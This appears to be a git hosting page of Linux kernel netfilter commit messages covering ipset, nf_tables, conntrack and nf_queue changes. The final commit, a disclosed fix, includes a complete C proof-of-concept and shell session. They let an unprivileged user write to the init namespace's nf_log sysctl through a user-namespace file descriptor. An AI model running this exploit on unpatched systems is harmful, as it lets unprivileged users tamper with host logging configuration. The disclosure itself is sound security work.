IF YOU WOULD LIKE TO GET AN ACCOUNT, please write an
email to Administrator. User accounts are meant only to access repo
and report issues and/or generate pull requests.
This is a purpose-specific Git hosting for
BaseALT
projects. Thank you for your understanding!
Только зарегистрированные пользователи имеют доступ к сервису!
Для получения аккаунта, обратитесь к администратору.
It is better to list the set elements for all set types, thus the
header information is uniform. Element counts are therefore added
to the bitmap and list types.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
It would be useful for userspace to query the size of an ipset hash,
however, this data is not exposed to userspace outside of counting the
number of member entries. This patch uses the attribute
IPSET_ATTR_ELEMENTS to indicate the size in the the header that is
exported to userspace. This field is then printed by the userspace
tool for hashes.
Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Josh Hunt <johunt@akamai.com>
Cc: netfilter-devel@vger.kernel.org
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Hash types already has it's memsize calculation code in separate
functions. Clean up and do the same for *bitmap* and *list* sets.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Suggested-by: Sergey Popovich <popovich_sergei@mail.ua>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Use struct ip_set_skbinfo in struct ip_set_ext instead of open
coded fields and assign structure members in get/init helpers
instead of copying members one by one. Explicitly note that
struct ip_set_skbinfo must be padded to prevent non-aligned
access in the extension blob.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Suggested-by: Sergey Popovich <popovich_sergei@mail.ua>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
gcc correctly identified a theoretical uninitialized variable use:
net/netfilter/nf_conntrack_core.c: In function 'nf_conntrack_in':
net/netfilter/nf_conntrack_core.c:1125:14: error: 'l4proto' may be used uninitialized in this function [-Werror=maybe-uninitialized]
This could only happen when we 'goto out' before looking up l4proto,
and then enter the retry, implying that l3proto->get_l4proto()
returned NF_REPEAT. This does not currently get returned in any
code path and probably won't ever happen, but is not good to
rely on.
Moving the repeat handling up a little should have the same
behavior as today but avoids the warning by making that case
impossible to enter.
[ I have mangled this original patch to remove the check for tmpl, we
should inconditionally jump back to the repeat label in case we hit
NF_REPEAT instead. I have also moved the comment that explains this
where it belongs. --pablo ]
Fixes: 08733a0cb7de ("netfilter: handle NF_REPEAT from nf_conntrack_in()")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
modify registration and deregistration of layer-4 protocol trackers to
facilitate inclusion of new elements into the current list of builtin
protocols. Both builtin (TCP, UDP, ICMP) and non-builtin (DCCP, GRE, SCTP,
UDPlite) layer-4 protocol trackers usually register/deregister themselves
using consecutive calls to nf_ct_l4proto_{,pernet}_{,un}register(...).
This sequence is interrupted and rolled back in case of error; in order to
simplify addition of builtin protocols, the input of the above functions
has been modified to allow registering/unregistering multiple protocols.
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Some basic expressions are built into nf_tables.ko, such as nft_cmp,
nft_lookup, nft_range and so on. But these basic expressions' init
routine is a little ugly, too many goto errX labels, and we forget
to call nft_range_module_exit in the exit routine, although it is
harmless.
Acctually, the init and exit routines of these basic expressions
are same, i.e. do nft_register_expr in the init routine and do
nft_unregister_expr in the exit routine.
So it's better to arrange them into an array and deal with them
together.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NF_REPEAT is only needed from nf_conntrack_in() under a very specific
case required by the TCP protocol tracker, we can handle this case
without returning to the core hook path. Handling of NF_REPEAT from the
nf_reinject() is left untouched.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_iterate() has become rather simple, we can integrate this code into
nf_hook_slow() to reduce the amount of LOC in the core path.
However, we still need nf_iterate() around for nf_queue packet handling,
so move this function there where we only need it. I think it should be
possible to refactor nf_queue code to get rid of it definitely, but
given this is slow path anyway, let's have a look this later.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This field is only useful for nf_queue, so store it in the
nf_queue_entry structure instead, away from the core path. Pass
hook_head to nf_hook_slow().
Since we always have a valid entry on the first iteration in
nf_iterate(), we can use 'do { ... } while (entry)' loop instead.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use switch() for verdict handling and add explicit handling for
NF_STOLEN and other non-conventional verdicts.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Don't copy relevant fields from hook state structure, instead use the
one that is already available in struct xt_action_param.
This patch also adds a set of new wrapper functions to fetch relevant
hook state structure fields.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Place pointer to hook state in xt_action_param structure instead of
copying the fields that we need. After this change xt_action_param fits
into one cacheline.
This patch also adds a set of new wrapper functions to fetch relevant
hook state structure fields.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NF_STOP is only used by br_netfilter these days, and it can be emulated
with a combination of NF_STOLEN plus explicit call to the ->okfn()
function as Florian suggests.
To retain binary compatibility with userspace nf_queue application, we
have to keep NF_STOP around, so libnetfilter_queue userspace userspace
applications still work if they use NF_STOP for some exotic reason.
Out of tree modules using NF_STOP would break, but we don't care about
those.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Patch c5136b15ea36 ("netfilter: bridge: add and use br_nf_hook_thresh")
introduced br_nf_hook_thresh().
Replace NF_HOOK_THRESH() by br_nf_hook_thresh from
br_nf_forward_finish(), so we have no more callers for this macro.
As a result, state->thresh and explicit thresh parameter in the hook
state structure is not required anymore. And we can get rid of
skip-hook-under-thresh loop in nf_iterate() in the core path that is
only used by br_netfilter to search for the filter hook.
Suggested-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We cannot block/sleep on nf_iterate because netfilter runs under rcu
read lock these days, where blocking is well-known to be illegal. So
let's remove these old comments.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch remove compile time code to catch inconventional verdicts.
We have better ways to handle this case these days, eg. pr_debug() but
even though I don't think this is useful at all, so let's remove this.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pablo Neira Ayuso says:
====================
Netfilter updates for net-next
The following patchset contains Netfilter updates for your net-next
tree. This includes better integration with the routing subsystem for
nf_tables, explicit notrack support and smaller updates. More
specifically, they are:
1) Add fib lookup expression for nf_tables, from Florian Westphal. This
new expression provides a native replacement for iptables addrtype
and rp_filter matches. This is more flexible though, since we can
populate the kernel flowi representation to inquire fib to
accomodate new usecases, such as RTBH through skb mark.
2) Introduce rt expression for nf_tables, from Anders K. Pedersen. This
new expression allow you to access skbuff route metadata, more
specifically nexthop and classid fields.
3) Add notrack support for nf_tables, to skip conntracking, requested by
many users already.
4) Add boilerplate code to allow to use nf_log infrastructure from
nf_tables ingress.
5) Allow to mangle pkttype from nf_tables prerouting chain, to emulate
the xtables cluster match, from Liping Zhang.
6) Move socket lookup code into generic nf_socket_* infrastructure so
we can provide a native replacement for the xtables socket match.
7) Make sure nfnetlink_queue data that is updated on every packets is
placed in a different cache from read-only data, from Florian Westphal.
8) Handle NF_STOLEN from nf_tables core, also from Florian Westphal.
9) Start round robin number generation in nft_numgen from zero,
instead of n-1, for consistency with xtables statistics match,
patch from Liping Zhang.
10) Set GFP_NOWARN flag in skbuff netlink allocations in nfnetlink_log,
given we retry with a smaller allocation on failure, from Calvin Owens.
11) Cleanup xt_multiport to use switch(), from Gao feng.
12) Remove superfluous check in nft_immediate and nft_cmp, from
Liping Zhang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
As the comment indicates, the data at the end of nfqnl_instance struct is
written on every queue/dequeue, so it should reside in its own cacheline.
Before this change, 'lock' was in first cacheline so we dirtied both.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After call nft_data_init, size is already validated and desc.len will
not exceed the sizeof(struct nft_data), i.e. 16 bytes. So it will never
exceed U8_MAX.
Furthermore, in nft_immediate_init, we forget to call nft_data_uninit
when desc.len exceeds U8_MAX, although this will not happen, but it's
a logical mistake.
Now remove these redundant validation introduced by commit 36b701fae12a
("netfilter: nf_tables: validate maximum value of u32 netlink attributes")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Introduces an nftables rt expression for routing related data with support
for nexthop (i.e. the directly connected IP address that an outgoing packet
is sent to), which can be used either for matching or accounting, eg.
# nft add rule filter postrouting \
ip daddr 192.168.1.0/24 rt nexthop != 192.168.0.1 drop
This will drop any traffic to 192.168.1.0/24 that is not routed via
192.168.0.1.
# nft add rule filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule ip6 filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
These rules count outgoing traffic per nexthop. Note that the timeout
releases an entry if no traffic is seen for this nexthop within 10 minutes.
# nft add rule inet filter postrouting \
ether type ip \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule inet filter postrouting \
ether type ip6 \
flow table acct { rt nexthop timeout 600s counter }
Same as above, but via the inet family, where the ether type must be
specified explicitly.
"rt classid" is also implemented identical to "meta rtclassid", since it
is more logical to have this match in the routing expression going forward.
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Move layer 2 packet logging into nf_log_l2packet() that resides in
nf_log_common.c, so this can be shared by both bridge and netdev
families.
This patch adds the boiler plate code to register the netdev logging
family.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add FIB expression, supported for ipv4, ipv6 and inet family (the latter
just dispatches to ipv4 or ipv6 one based on nfproto).
Currently supports fetching output interface index/name and the
rtm_type associated with an address.
This can be used for adding path filtering. rtm_type is useful
to e.g. enforce a strong-end host model where packets
are only accepted if daddr is configured on the interface the
packet arrived on.
The fib expression is a native nftables alternative to the
xtables addrtype and rp_filter matches.
FIB result order for oif/oifname retrieval is as follows:
- if packet is local (skb has rtable, RTF_LOCAL set, this
will also catch looped-back multicast packets), set oif to
the loopback interface.
- if fib lookup returns an error, or result points to local,
store zero result. This means '--local' option of -m rpfilter
is not supported. It is possible to use 'fib type local' or add
explicit saddr/daddr matching rules to create exceptions if this
is really needed.
- store result in the destination register.
In case of multiple routes, search set for desired oif in case
strict matching is requested.
ipv4 and ipv6 behave fib expressions are supposed to behave the same.
[ I have collapsed Arnd Bergmann's ("netfilter: nf_tables: fib warnings")
http://patchwork.ozlabs.org/patch/688615/
to address fallout from this patch after rebasing nf-next, that was
posted to address compilation warnings. --pablo ]
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Mostly simple overlapping changes.
For example, David Ahern's adjacency list revamp in 'net-next'
conflicted with an adjacency list traversal bug fix in 'net'.
Signed-off-by: David S. Miller <davem@davemloft.net>
Now genl_register_family() is the only thing (other than the
users themselves, perhaps, but I didn't find any doing that)
writing to the family struct.
In all families that I found, genl_register_family() is only
called from __init functions (some indirectly, in which case
I've add __init annotations to clarifly things), so all can
actually be marked __ro_after_init.
This protects the data structure from accidental corruption.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Instead of providing macros/inline functions to initialize
the families, make all users initialize them statically and
get rid of the macros.
This reduces the kernel code size by about 1.6k on x86-64
(with allyesconfig).
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Static family IDs have never really been used, the only
use case was the workaround I introduced for those users
that assumed their family ID was also their multicast
group ID.
Additionally, because static family IDs would never be
reserved by the generic netlink code, using a relatively
low ID would only work for built-in families that can be
registered immediately after generic netlink is started,
which is basically only the control family (apart from
the workaround code, which I also had to add code for so
it would reserve those IDs)
Thus, anything other than GENL_ID_GENERATE is flawed and
luckily not used except in the cases I mentioned. Move
those workarounds into a few lines of code, and then get
rid of GENL_ID_GENERATE entirely, making it more robust.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
This patch adds notrack support.
I decided to add a new expression, given that this doesn't fit into the
existing set operation. Notrack doesn't need a source register, and an
hypothetical NFT_CT_NOTRACK key makes no sense since matching the
untracked state is done through NFT_CT_STATE.
I'm placing this new notrack expression into nft_ct.c, I think a single
module is too much.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After supporting this, we can combine it with hash expression to emulate
the 'cluster match'.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently we start round robin from 1, but it's better to start round
robin from 0. This is to keep consistent with xt_statistic in iptables.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently not supported, we'd oops as skb was (or is) free'd elsewhere.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since the code explicilty falls back to a smaller allocation when the
large one fails, we shouldn't complain when that happens.
Signed-off-by: Calvin Owens <calvinowens@fb.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are multiple equality condition checks in the original codes, so it
is better to use switch case instead of them.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_queue handling is broken since e3b37f11e6e4 ("netfilter: replace
list_head with single linked list") for two reasons:
1) If the bypass flag is set on, there are no userspace listeners and
we still have more hook entries to iterate over, then jump to the
next hook. Otherwise accept the packet. On nf_reinject() path, the
okfn() needs to be invoked.
2) We should not re-enter the same hook on packet reinjection. If the
packet is accepted, we have to skip the current hook from where the
packet was enqueued, otherwise the packets gets enqueued over and
over again.
This restores the previous list_for_each_entry_continue() behaviour
happening from nf_iterate() that was dealing with these two cases.
This patch introduces a new nf_queue() wrapper function so this fix
becomes simpler.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When the maximum evictions number is reached, do not wait 5 seconds before
the next run.
CC: Florian Westphal <fw@strlen.de>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Markus Trippelsdorf reports:
WARNING: kmemcheck: Caught 64-bit read from uninitialized memory (ffff88001e605480)
4055601e0088ffff000000000000000090686d81ffffffff0000000000000000
u u u u u u u u u u u u u u u u i i i i i i i i u u u u u u u u
^
|RIP: 0010:[<ffffffff8166e561>] [<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[..]
[<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[<ffffffff8166eaaf>] nf_register_net_hooks+0x3f/0xa0
[<ffffffff816d6715>] ipt_register_table+0xe5/0x110
[..]
This warning is harmless; we copy 'uninitialized' data from the hook ops
but it will not be used.
Long term the structures keeping run-time data should be disentangled
from those only containing config-time data (such as where in the list
to insert a hook), but thats -next material.
Reported-by: Markus Trippelsdorf <markus@trippelsdorf.de>
Suggested-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The newly added nft_range_eval() function handles the two possible
nft range operations, but as the compiler warning points out,
any unexpected value would lead to the 'mismatch' variable being
used without being initialized:
net/netfilter/nft_range.c: In function 'nft_range_eval':
net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized in this function [-Werror=maybe-uninitialized]
This removes the variable in question and instead moves the
condition into the switch itself, which is potentially more
efficient than adding a bogus 'default' clause as in my
first approach, and is nicer than using the 'uninitialized_var'
macro.
Fixes: 0f3cd9b36977 ("netfilter: nf_tables: add range expression")
Link: http://patchwork.ozlabs.org/patch/677114/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use nft_parse_u32_check() to make sure we don't get a value over the
unsigned 8-bit integer. Moreover, make sure this value doesn't go over
the two supported range comparison modes.
Fixes: 9286c2eb1fda ("netfilter: nft_range: validate operation netlink attribute")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
"err" needs to be signed for the error handling to work.
Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We don't want to allow negatives here.
Fixes: 36b701fae12a ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Missing the nla_policy description will also miss the validation check
in kernel.
Fixes: 70ca767ea1b2 ("netfilter: nft_hash: Add hash offset value")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Otherwise, user cannot add related rules if xt_ipcomp.ko is not loaded:
# iptables -A OUTPUT -p 108 -m ipcomp --ipcompspi 1
iptables: No chain/target/match by that name.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Justin and Chris spotted that iptables NFLOG target was broken when they
upgraded the kernel to 4.8: "ulogd-2.0.5- IPs are no longer logged" or
"results in segfaults in ulogd-2.0.5".
Because "struct nf_loginfo li;" is a local variable, and flags will be
filled with garbage value, not inited to zero. So if it contains 0x1,
packets will not be logged to the userspace anymore.
Fixes: 7643507fe8b5 ("netfilter: xt_NFLOG: nflog-range does not truncate packets")
Reported-by: Justin Piszcz <jpiszcz@lucidpixels.com>
Reported-by: Chris Caputo <ccaputo@alt.net>
Tested-by: Chris Caputo <ccaputo@alt.net>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times
higher than configured.
Add proper conversion to/from jiffies, when interacting with userspace.
I tested this on Linux 4.8.1, and it applies cleanly to current nf and
nf-next trees.
Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
On 32-bit (e.g. with m68k-linux-gnu-gcc-4.1):
net/netfilter/xt_hashlimit.c: In function ‘user2credits’:
net/netfilter/xt_hashlimit.c:476: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:478: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:480: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c: In function ‘rateinfo_recalc’:
net/netfilter/xt_hashlimit.c:513: warning: integer constant is too large for ‘long’ type
Fixes: 11d5f15723c9f39d ("netfilter: xt_hashlimit: Create revision 2 to support higher pps rates")
Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use the correct pattern for singly linked list insertion and
deletion. We can also calculate the list head outside of the
mutex.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
net/netfilter/core.c | 108 ++++++++++++++++-----------------------------------
1 file changed, 33 insertions(+), 75 deletions(-)
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
